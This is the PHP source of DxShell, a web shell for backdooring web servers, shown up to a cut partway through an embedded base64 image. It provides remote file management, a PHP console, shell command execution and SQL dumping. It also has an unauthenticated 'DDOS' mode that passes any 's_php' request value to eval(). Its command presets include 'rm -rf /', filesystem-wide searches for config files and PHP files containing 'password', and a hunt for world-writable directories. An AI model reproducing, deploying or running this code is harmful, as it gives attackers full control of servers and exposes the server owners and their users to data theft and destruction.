<?php

$GLOB['SHELL']['USER']['Login']='';

$GLOB['SHELL']['USER']['Passw']=''; /* pwd. "as is", or md5() possible */

/*

DDDDD SSSSS DxShell by î_Î Tync

D D X X S

D D X SSSSS http://hellknights.void.ru/

D D X X S ICQ# 1227-700

DDDDD SSSSS

*/

$GLOB['SHELL']['Ver']='1.0'; /* ver of the shell */

$GLOB['SHELL']['Date']='26.04.2006';

if (headers_sent()) $DXGLOBALSHIT=true; else $DXGLOBALSHIT=FALSE; /* This means if bug.php has fucked up the output and headers are already sent =(( lot's of things become HARDER */

@ob_clean();

$DX_Header_drawn=false;

###################################################################################

####################++++++++++++# C O M M O N #++++++++++++++++####################

###################################################################################

@set_magic_quotes_runtime(0);

@ini_set('max_execution_time',0);

@set_time_limit(0);

@ini_set('output_buffering',0);

@error_reporting(E_ALL);

$GLOB['URL']['+Get']=$_SERVER['PHP_SELF'].'?'; /* this filename + $_GET string */

if (!empty($_GET))

for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)

$GLOB['URL']['+Get'].=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' );

$GLOB['PHP']['SafeMode']=(bool)ini_get('safe_mode');

$GLOB['PHP']['upload_max_filesize']=((integer)str_replace(array('K', 'M'), array('000', '000000'), ini_get('upload_max_filesize')));

if (get_magic_quotes_gpc()==1)

{ /* slashes killah */

for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)

{$_GET[ $INDEXES[$i] ] = stripslashes($_GET[ $INDEXES[$i] ]); }

for ($i=0, $INDEXES=array_keys($_POST), $COUNT=count($INDEXES); $i<$COUNT; $i++)

{if (is_array($_POST[ $INDEXES[$i] ])) continue; $_POST[ $INDEXES[$i] ] = stripslashes($_POST[ $INDEXES[$i] ]); }

/*for ($i=0, $INDEXES=array_keys($_SERVER), $COUNT=count($INDEXES); $i<$COUNT; $i++) {$_SERVER[ $INDEXES[$i] ]= stripslashes($_SERVER[ $INDEXES[$i] ]); }*/

for ($i=0, $INDEXES=array_keys($_COOKIE), $COUNT=count($INDEXES); $i<$COUNT; $i++)

{$_COOKIE[ $INDEXES[$i] ]= stripslashes($_COOKIE[ $INDEXES[$i] ]); }

}

$GLOB['FILES']['CurDIR']=getcwd();

$GLOB['SYS']['GZIP']['CanUse']=$GLOB['SYS']['GZIP']['CanOutput']=false;

if (isset($_GET['dx_gzip']) OR isset($_POST['dx_gzip']))

{ $GLOB['SYS']['GZIP']['CanUse']=extension_loaded("zlib");

if (extension_loaded("zlib"))

if (!(strpos($_SERVER['HTTP_ACCEPT_ENCODING'], 'gzip')===FALSE))

$GLOB['SYS']['GZIP']['CanOutput']=TRUE;

};

$GLOB['SYS']['GZIP']['IMG']=extension_loaded("zlib");

$GLOB['SYS']['OS']['id']=($GLOB['FILES']['CurDIR'][1]==':')?'Win':'Nix';

$GLOB['SYS']['OS']['Full']=getenv('OS');

if (empty($GLOB['SYS']['OS']['Full']))

{

$GLOB['SYS']['OS']['id'] = getenv('OS');

if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] = php_uname(); }

if(empty($GLOB['SYS']['OS']['id'])){ $GLOB['SYS']['OS']['id'] ='???';}

else {if(@eregi("^win",$GLOB['SYS']['OS']['id'])) $GLOB['SYS']['OS']['id']='Win'; else $GLOB['SYS']['OS']['id']='Nix';}

}

$GLOB['DxMODES']=array(

'WTF' => 'AboutBox',

'DIR' => 'Dir browse',

'UPL' => 'Upload file',

'FTP' => 'FTP Actions',

'F_CHM' => 'File CHMOD',

'F_VIEW' => 'File viewer',

'F_ED' => 'File Edit',

'F_DEL' => 'File Delete',

'F_REN' => 'File Rename',

'F_COP' => 'File Copy',

'F_MOV' => 'File Move',

'F_DWN' => 'File Download',

'SQL' => 'SQL Maintenance',

'SQLS' => 'SQL Search',

'SQLD' => 'SQL Dump',

'PHP' => 'PHP C0nsole',

'COOK' => 'Cookies Maintenance',

'CMD' => 'C0mmand line',

'MAIL' => 'Mail functions',

'STR' => 'String functions',

'PRT' => 'Port scaner',

'SOCK' => 'Raw s0cket',

'PROX' => 'HTTP PROXY',

'XPL' => 'Expl0its',

'XSS' => 'XSS Server',

);

$GLOB['DxGET_Vars']=array(/* GET variables used by shell */

'dxinstant', 'dxmode', 'dximg', 'dxparam', 'dxval', 'dx_ok', 'dx_gzip',

'dxdir', 'dxdirsimple', 'dxfile',

'dxsql_s', 'dxsql_l', 'dxsql_p', 'dxsql_d','dxsql_q',

);

$GLOB['VAR']['PHP']['Presets']=array(

/* Note, that no comments are allowed in the code */

'phpinfo' => 'phpinfo();',

'GLOBALS' => 'print \'<plaintext>\'; print_r($GLOBALS);',

'php_ini' => '$INI=ini_get_all(); '

."\n".'print \'<table border=0><tr>\''

."\n\t".'.\'<td class="listing"><font class="highlight_txt">Param</td>\''

."\n\t".'.\'<td class="listing"><font class="highlight_txt">Global value</td>\''

."\n\t".'.\'<td class="listing"><font class="highlight_txt">Local Value</td>\''

."\n\t".'.\'<td class="listing"><font class="highlight_txt">Access</td></tr>\';'

."\n".'foreach ($INI as $param => $values) '

."\n\t".'print "\n".\'<tr>\''

."\n\t\t".'.\'<td class="listing"><b>\'.$param.\'</td>\''

."\n\t\t".'.\'<td class="listing">\'.$values[\'global_value\'].\' </td>\''

."\n\t\t".'.\'<td class="listing">\'.$values[\'local_value\'].\' </td>\''

."\n\t\t".'.\'<td class="listing">\'.$values[\'access\'].\' </td></tr>\';',

'extensions' => '$EXT=get_loaded_extensions ();'

."\n".'print \'<table border=0><tr><td class="listing">\''

."\n\t".'.implode(\'</td></tr>\'."\n".\'<tr><td class="listing">\', $EXT)'

."\n\t".'.\'</td></tr></table>\''

."\n\t".'.count($EXT).\' extensions loaded\';',

);

$GLOB['VAR']['CMD']['Presets']=array(

'Call Nik8 with an axe'=>'[w0rning] rm -rf /',

'show opened ports'=>'netstat -an | grep -i listen',

'find config* files'=>'find / -type f -name "config*"',

'find all *.php files with word "password"'=>'find / -name *.php | xargs grep -li password',

'find all writable directories and files'=>'find / -perm -2 -ls',

'list file attribs on a second extended FS'=>'lsattr -va',

'View syslog.conf'=>'cat /etc/syslog.conf',

'View Message of the day'=>'cat /etc/motd',

'View hosts'=>'cat /etc/hosts',

'List processes'=>'ps auxw',

'List user processes'=>'ps ux',

'Locate httpd.conf'=>'locate httpd.conf',

'Interfaces'=>'ifconfig',

'CPU'=>'/proc/cpuinfo',

'RAM'=>'free -m',

'HDD'=>'df -h',

'OS Ver'=>'sysctl -a | grep version',

'Kernel ver' =>'cat /proc/version',

'Is cURL installed? ' => 'which curl',

'Is wGET installed? ' => 'which wget',

'Is lynx installed? ' => 'which lynx',

'Is links installed? ' => 'which links',

'Is fetch installed? ' => 'which fetch',

'Is GET installed? ' => 'which GET',

'Is perl installed? ' => 'which perl',

'Where is apache ' => 'whereis apache',

'Where is perl ' => 'whereis perl',

'Pack directory' =>'"tar -zc /path/ -f name.tar.gz"',

);

###################################################################################

####################+++++++++# F U N C T I O N S #+++++++++++++####################

###################################################################################

function DxError($errstr)

{global $DX_Header_drawn;print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr>'

.'<td class=error '.((!$DX_Header_drawn)?'style="color:#000000; background-color: #FF0000; font-weight: bold; font-size: 11pt;position:absolute;top=0;left=0;"':'').'>'

.'Err: '.$errstr.'</td></tr></table>'."\n\n"; return '';}

function DxWarning($warn)

{print "\n\n".'<table border=0 cellspacing=0 cellpadding=2><tr><td class=warning><b>W0rning:</b> '.$warn.'</td></tr></table>'."\n\n"; return '';}

function DxImg($imgname)

{

global $DXGLOBALSHIT;

if ($DXGLOBALSHIT) return '<font class="img_replacer">'.$imgname.'</font>'; /* globalshit doesn't give a chance for our images to survive */

return '<img src="'.DxURL('kill', '').'&dxmode=IMG&dximg='.$imgname.'" title="'.$imgname.'" alt"'.$imgname.'">';

}

function DxSetCookie($name, $val, $exp)

{

if (!headers_sent()) return setcookie($name, $val, $exp, '/');

?>

<script>

var curCookie = "<?=$name;?>=" + escape("<?=$val;?>") +"; expires=<?=date('l, d-M-y H:i:s', $exp);?> GMT; path=/;";

document.cookie = curCookie;

</script>

<?

}

function DxRandom($range='48-57,65-90,97-122')

{

$range=explode(',',$range);

$range=explode('-', $range[ rand(0,count($range)-1) ] );

return rand($range[0],$range[1]);

}

function DxRandomChars($num)

{

$ret='';

for ($i=0;$i<$num;$i++) $ret.=chr(DxRandom('48-57,65-90,97-122'));

return $ret;

}

function DxZeroedNumber($int, $totaldigits)

{

$str=(string)$int;

while (strlen($str)<$totaldigits) $str='0'.$str;

return $str;

}

function DxPrint_ParamState($name, $state, $invert=false)

{

print $name.' : '; $invert=(bool)$invert;

if (is_bool($state))

print ($state)?'<font color=#'.(($invert)?'FF0000':'00FF00').'><b>ON</b></font>':'<font color=#'.(($invert)?'00FF00':'FF0000').'><b>OFF</b></font>';

else print '<b>'.$state.'</b>';

}

function DxStr_FmtFileSize($size)

{

if($size>= 1073741824) {$size = round($size / 1073741824 * 100) / 100 . " GB"; }

elseif($size>= 1048576) {$size = round($size / 1048576 * 100) / 100 . " MB"; }

elseif($size>= 1024) {$size = round($size / 1024 * 100) / 100 . " KB"; }

else {$size = $size . " B";}

return $size;

}

function DxDate($UNIX) {return date('d.M\'Y H:i:s', $UNIX); }

function DxDesign_DrawBubbleBox($header, $body, $width)

{

$header=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $header);

$body=str_replace(array('"',"'","`"), array('&#x02DD;','&#x0027;',''), $body);

return ' onmouseover=\'showwin("'.$header.'","'.$body.'",'.$width.',1)\' onmouseout=\'showwin("","",0,0)\' onmousemove=\'movewin()\' ';

}

function DxChmod_Str2Oct($str) /* rwxrwxrwx => 0777 */

{

$str = str_pad($str,9,'-');

$str=strtr($str, array('-'=>'0','r'=>'4','w'=>'2','x'=>'1') );

$newmode='';

for ($i=0; $i<3; $i++) $newmode .= $str[$i*3]+$str[$i*3+1]+$str[$i*3+2];

return $newmode;

}

function DxChmod_Oct2Str($perms) /* 777 => rwxrwxrwx. USE ONLY STRING REPRESENTATION OF $oct !!!! */

{

$info='';

if (($perms & 0xC000) == 0xC000) $info = 'S'; /* Socket */

elseif (($perms & 0xA000) == 0xA000) $info = 'L'; /* Symbolic Link */

elseif (($perms & 0x8000) == 0x8000) $info = '&nbsp;'; /* '-'*//* Regular */

elseif (($perms & 0x6000) == 0x6000) $info = 'B'; /* Block special */

elseif (($perms & 0x4000) == 0x4000) $info = 'D'; /* Directory*/

elseif (($perms & 0x2000) == 0x2000) $info = 'C'; /* Character special*/

elseif (($perms & 0x1000) == 0x1000) $info = 'P'; /* FIFO pipe*/

else $info = '?'; /* Unknown */

if (!empty($info)) $info='<font class=rwx_sticky_bit>'.$info.'</font>';

/* Owner */

$info .= (($perms & 0x0100) ? 'r' : '-');

$info .= (($perms & 0x0080) ? 'w' : '-');

$info .= (($perms & 0x0040) ?

(($perms & 0x0800) ? 's' : 'x' ) :

(($perms & 0x0800) ? 'S' : '-'));

$info .= '/';

/* Group */

$info .= (($perms & 0x0020) ? 'r' : '-');

$info .= (($perms & 0x0010) ? 'w' : '-');

$info .= (($perms & 0x0008) ?

(($perms & 0x0400) ? 's' : 'x' ) :

(($perms & 0x0400) ? 'S' : '-'));

$info .= '/';

/* World */

$info .= (($perms & 0x0004) ? 'r' : '-');

$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?

(($perms & 0x0200) ? 't' : 'x' ) :

(($perms & 0x0200) ? 'T' : '-'));

return $info;

}

function DxFileToUrl($filename)

{/* kills & and = to be okay in URL */

return str_replace(array('&','=','\\'), array('%26', '%3D','/'), $filename);

}

function DxFileOkaySlashes($filename)

{return str_replace('\\', '/', $filename);}

function DxURL($do='kill', $these='') /* kill: '' - kill all ours, 'a,b,c' - kill $a,$b,$c ; leave: '' - as is, leave 'a,b,c' - leave only $a,$b,$c */

{

global $GLOB;

if ($these=='') $these=$GLOB['DxGET_Vars']; else $these=explode(',', $these);

$ret=$_SERVER['PHP_SELF'].'?';

if (!empty($_GET))

for ($i=0, $INDEXES=array_keys($_GET), $COUNT=count($INDEXES); $i<$COUNT; $i++)

if ( !in_array($INDEXES[$i], $GLOB['DxGET_Vars']) OR ( /* if not ours - add */

($do=='kill' AND !in_array($INDEXES[$i], $these))

OR

($do=='leave' AND in_array($INDEXES[$i], $these))

))

$ret.=$INDEXES[$i].='='.$_GET[ $INDEXES[$i] ].( ($i==($COUNT-1))?'':'&' );

if (substr($ret, -1,1)=='&') $ret=substr($ret, 0, strlen($ret)-1);

return $ret;

}

function DxGETinForm($do='kill', $these='') /* Equal to DxURL(), but prints out $_GET as form <input type=hidden> params */

{

$link=substr(strchr(DxURL($do, $these), '?'), 1);

$link=explode('&', $link);

print "\n".'<!--$_GET;-->';

for ($i=0, $COUNT=count($link); $i<$COUNT; $i++)

{

$cur=explode('=', $link[$i]);

print '<input type=hidden name="'.str_replace('"', '&quot;', $cur[0]).'" value="'.str_replace('"', '&quot;', $cur[1]).'">';

}

}

function DxGotoURL($URL, $noheaders=false)

{

if ($noheaders or headers_sent())

{

print "\n".'<div align=center>Redirecting...<br><a href="'.$URL.'">Press here in shit happens</a>';

print '<script>location="'.$URL.'";</script>';

/* print $str.='<META HTTP-EQUIV="Refresh" Content="1, URL='.$URL.'">'; */

}

else

header('Location: '.$URL);

return 1;

}

if (!function_exists('mime_content_type'))

{

if ($GLOB['SYS']['OS']['id']!='Win')

{ function mime_content_type($f)

{

$f = @escapeshellarg($f);

return @trim(`file -bi `.$f);

}

}

else

{

function mime_content_type($f) {return 'Content-type: text/plain';} /* Nothing alike under win =( if u have some thoughts - touch me */

}

}

function DxMySQL_FetchResult($MySQL_res, &$MySQL_Return_Array, $idmode=false) /* Fetches mysql return array (associative) */

{

$MySQL_Return_Array=array();

if ($MySQL_res===false) return 0;

if ($MySQL_res===true) return 0;

$ret=mysql_num_rows($MySQL_res); if ($ret<=0) return 0;

if ($idmode) while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_NUM))===FALSE)) {}

else while (!(($MySQL_Return_Array[]=mysql_fetch_array($MySQL_res, MYSQL_ASSOC))===FALSE)) {}

array_pop($MySQL_Return_Array);

for ($i=0; $i<count($MySQL_Return_Array); $i++) /* Kill the fucking slashes */

{

if ($i==0)

{

$INDEXES=array_keys($MySQL_Return_Array[$i]);

$count=count($INDEXES);

}

for ($j=0; $j<$count; $j++)

{

$key=&$INDEXES[$j];

$val=&$MySQL_Return_Array[$i][$key];

if (is_string($val)) $val=stripcslashes($val);

}

}

return $ret;

}

function DxMySQLQ($query, $die_on_err)

{

$q=mysql_query($query);

if (mysql_errno()!=0)

{

DxError('" '.$query.' "'."\n".'<br>MySQL:#'.mysql_errno().' - '.mysql_error());

if ($die_on_err) die();

}

return $q;

}

function DxDecorVar(&$var, $htmlstr)

{

if (is_null($var)) return 'NULL';

if (!isset($var)) return '[!isset]';

if (is_bool($var)) return ($var)?'true':'false';

if (is_int($var)) return (int)$var;

if (is_float($var)) return number_format($var, 4, '.', '');

if (is_string($var))

{

if (empty($var)) return '&nbsp;';

if (!$htmlstr) return ''.($var).'';

else return ''.str_replace("\n", "<br>", str_replace("\r","", htmlspecialchars($var))).'';

}

if (is_array($var)) return '(ARR)'.var_export($var, true).'(/ARR)';

if (is_object($var)) return '(OBJ)'.var_export($var, true).'(/OBJ)';

if (is_resource($var)) return '(RES:'.get_resource_type($var).')'.var_export($var, true).'(/RES)';

return '(???)'.var_export($var, true).'(/???)';

}

function DxHTTPMakeHeaders($method='', $URL='', $host='', $user_agent='', $referer='', $posts=array(), $cookie=array())

{

if (!empty($posts))

{

$postValues='';

foreach( $posts AS $name => $value ) {$postValues .= urlencode( $name ) . "=" . urlencode( $value ) . '&';}

$postValues = substr( $postValues, 0, -1 );

$method = 'POST';

} else $postValues = '';

if (!empty($cookie))

{

$cookieValues='';

foreach( $cookie AS $name => $value ) {$cookieValues .= urlencode( $name ) . "=" . urlencode( $value ) . ';';}

$cookieValues = substr( $cookieValues, 0, -1 );

} else $cookieValues = '';

$request = $method.' '.$URL.' HTTP/1.1'."\r\n";

if (!empty($host)) $request .= 'Host: '.$host."\r\n";

if (!empty($cookieValues)) $request .='Cookie: '.$cookieValues."\r\n";

if (!empty($user_agent)) $request .= 'User-Agent: '.$user_agent.' '."\r\n";

$request .= 'Connection: Close'."\r\n"; /* Or connection will be endless */

if (!empty($referer)) $request .= 'Referer: '.$referer."\r\n";

if ( $method == 'POST' )

{

$lenght = strlen( $postValues );

$request .= 'Content-Type: application/x-www-form-urlencoded'."\r\n";

$request .= 'Content-Length: '.$lenght."\r\n";

$request .= "\r\n";

$request .= $postValues;

}

$request.="\r\n\r\n";

return $request;

}

function DxFiles_UploadHere($path, $filename, &$contents)

{if (empty($contents)) die(DxError('Received empty'));

$filename='__DxS__UPLOAD__'.DxRandomChars(3).'__'.$filename;

if (!($f=fopen($path.$filename, 'w')))

{

$path='/tmp/';

if (!($f=fopen($path.$filename, 'w')))

die(DxError('Writing denied. Save to "'.$path.$filename.'" also failed! =('));

else

DxWarning('Writing failed, but saved to "'.$path.$filename.'"! =)');

}

fputs($f, $contents);

fclose($f);

print "\n".'Saved file to "'.$path.$filename.'" - OK';

print "\n".'<br><a href="'.DxURL('kill', '').'&dxmode=DIR&dxdir='.DxFileToUrl(dirname($path)).'">[Go DIR]</a>';;

}

function DxExecNahuj($cmd, &$OUT, &$RET) /* returns the name of function that exists, or FALSE */

{

$OUT=array(); $RET='';

if (function_exists('exec'))

{ if (!empty($cmd)) exec($cmd, $OUT, $RET); /* full array output */

return array(true,true,'exec', '');

}

elseif (function_exists('shell_exec'))

{ if (!empty($cmd)) $OUT[0]=shell_exec($cmd); /* full string output, no RETURN */

return array(true,false,'shell_exec', '<s>exec</s> shell_exec');

}

elseif (function_exists('system'))

{ if (!empty($cmd)) $OUT[0]=system($cmd, $RET); /* last line of output */

return array(true,false,'system', '<s>exec</s> <s>shell_exec</s> system<br>Only last line of output is available, sorry =(');

}

else return array(FALSE, FALSE, '&lt;noone&gt;', '<s>exec</s> <s>shell_exec</s> <s>system</s> Bitchy admin has disabled command line!! =(');;

}

###################################################################################

#####################++++++++++++# L O G I N #++++++++++++++++#####################

###################################################################################

if ( isset($_GET['dxmode'])?$_GET['dxmode']=='IMG':false )

{ /* IMGS are allowed without passwd =) */ $GLOB['SHELL']['USER']['Login']='';

$GLOB['SHELL']['USER']['Passw']='';

}

if ( isset($_GET['dxinstant'])?$_GET['dxinstant']=='logoff':false )

{

if ($DXGLOBALSHIT)

{ if (isset($_COOKIE['DxS_AuthC'])) DxSetCookie('DxS_AuthC','---', 1);

}

else

{

header('WWW-Authenticate: Basic realm="==== HIT CANCEL OR PRESS ESC ===='.base_convert(crc32(mt_rand(0, time())),10,36).'"'); header('HTTP/1.0 401 Unauthorized');

}

print '<html>Redirecting... press <a href="'.DxURL('kill','').'">here if shit happens</a>';

DxGotoURL(DxURL('kill',''), '1noheaders');

die();

}

if (((strlen($GLOB['SHELL']['USER']['Login'])+strlen($GLOB['SHELL']['USER']['Passw']))>=2))

{ if ($DXGLOBALSHIT)

{ if (isset($_POST['DxS_Auth']) or isset($_COOKIE['DxS_AuthC']))

{ if (!(

((@$_POST['DxS_Auth']['L']==$GLOB['SHELL']['USER']['Login']) AND /* form */

(@$_POST['DxS_Auth']['P']==$GLOB['SHELL']['USER']['Passw']

OR

(strlen($GLOB['SHELL']['USER']['Passw'])==32 AND @$_POST['DxS_Auth']['P']==md5($GLOB['SHELL']['USER']['Passw']))

))

OR

@$_COOKIE['DxS_AuthC']==md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']) /* cookie */

))

{print(DxError('Fucked off brutally'));unset($_POST['DxS_Auth'], $_COOKIE['DxS_AuthC']);}

else DxSetCookie('DxS_AuthC', md5($GLOB['SHELL']['USER']['Login'].$GLOB['SHELL']['USER']['Passw']), time()+60*60*24*2);

}

if (!isset($_POST['DxS_Auth']) AND !isset($_COOKIE['DxS_AuthC']))

{

print "\n".'<form action="'.DxURL('kill', '').'" method=POST style="position:absolute;z-index:100;top:0pt;left:40%;width:100%;height:100%;">';

print "\n".'<br><input type=text name="DxS_Auth[L]" value="<LOGIN>" onfocus="this.value=\'\'" style="width:200pt">';

print "\n".'<br><input type=text name="DxS_Auth[P]" value="<PASSWORD>" onfocus="this.value=\'\'" style="width:200pt">';

print "\n".'<br><input type=submit value="Ok" style="width:200pt;"></form>';

print "\n".'</form>';

die();

}

}

else

{

if (!isset($_SERVER['PHP_AUTH_USER']))

{

header('WWW-Authenticate: Basic realm="DxShell '.$GLOB['SHELL']['Ver'].' Auth"');

header('HTTP/1.0 401 Unauthorized');

/* Result if user hits cancel button */

unset($_GET['dxinstant']);

die(DxError('Fucked off brutally'));

}

else

if (!( $_SERVER['PHP_AUTH_USER']==$GLOB['SHELL']['USER']['Login']

AND (

$_SERVER['PHP_AUTH_PW']==$GLOB['SHELL']['USER']['Passw']

OR

(strlen($GLOB['SHELL']['USER']['Passw'])==32 AND md5($_SERVER['PHP_AUTH_PW'])==$GLOB['SHELL']['USER']['Passw'])

)

))

{

header('WWW-Authenticate: Basic realm="DxS '.$GLOB['SHELL']['Ver'].' Auth: Fucked off brutally"');

header('HTTP/1.0 401 Unauthorized');

/* Result if user hits cancel button */

unset($_GET['dxinstant']);

die(DxError('Fucked off brutally'));

}

}

}

###################################################################################

####################++++++# I N S T A N T U S A G E #+++++++####################

###################################################################################

if (!isset($_GET['dxmode'])) $_GET['dxmode']='DIR'; else $_GET['dxmode']=strtoupper($_GET['dxmode']);

if ($_GET['dxmode']=='DDOS') /* DDOS mode. In other case, EVALer of everything that comes in $_GET['s_php'] OR $_POST['s_php'] */

{

$F = $_GET + $_POST;

if (!isset($F['s_php'])) die('o_O Tync DDOS Remote Shell '.$GLOB['SHELL']['Ver']."\n".'<br>Use GET or POST to set "s_php" variable with code to be executed =)<br>Enjoy!');

eval(stripslashes($F['s_php']));

die("\n\n".'<br><br>'.'o_O Tync DDOS Web Shell '.$GLOB['SHELL']['Ver'].((!isset($F['s_php']))?"\n".'<br>'.'$s_php is responsible for php-code-injection':''));

}

if ($_GET['dxmode']=='IMG')

{

$IMGS=array(

'DxS' => 'R0lGODlhEAAQAIAAAAD/AAAAACwAAAAAEAAQAAACL4yPGcCs2NqLboGFaXW3X/tx2WcZm0luIcqFKyuVHRSLJOhmGI4mWqQAUoKPYqIAADs=',

'folder'=> 'R0lGODlhDwAMAJEAAP7rhriFIP///wAAACH5BAEAAAIALAAAAAAPAAwAAAIklIJhywcPVDMBwpSo3U/WiIVJxG0IWV7Vl4Joe7Jp3HaHKAoFADs=',

'foldup'=> 'R0lGODlhDwAMAJEAAP7rhriFIAAAAP///yH5BAEAAAMALAAAAAAPAAwAAAIw3IJiywcgRGgrvCgA2tNh/Dxd8JUcApWgaJFqxGpp+GntFV4ZauV5xPP5JIeTcVIAADs=',

'view' => 'R0lGODlhEAAJAJEAAP///wAAAP///wAAACH5BAEAAAIALAAAAAAQAAkAAAIglB8Zx6aQYGIRyCpFsFY9jl1ft4Fe2WmoZ1LROzWIIhcAOw==',

'del' => 'R0lGODlhEAAQAKIAAIoRGNYnOtclPv///////wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAANASArazQ4MGOcLwb6BGQBYBknhR3zhRHYUKmQc65xgKM+0beKn3fErm2bDqomIRaMluENhlrcFaEejPKgL3qmRAAA7',

'copy' => 'R0lGODlhEAAQAKIAAP//lv///3p6egAAAP///wAAAAAAAAAAACH5BAEAAAQALAAAAAAQABAAAAM+SKrT7isOQGsII7Jq7/sTdWEh53FAgwLjILxp2WGculIurL68XsuonCAG6PFSvxvuuDMOQcCaZuJ8TqGQSAIAOw==',

'move' => 'R0lGODlhEAAQAJEAADyFFLniPu79wP///yH5BAEAAAMALAAAAAAQABAAAAI3nD8AyAgiVnMihDidldmAnXFfIB6Pomwo9kCu5bqpRdf18qGjTpom6AkBO4lhqHLhCHtEj/JQAAA7',

'exec' => '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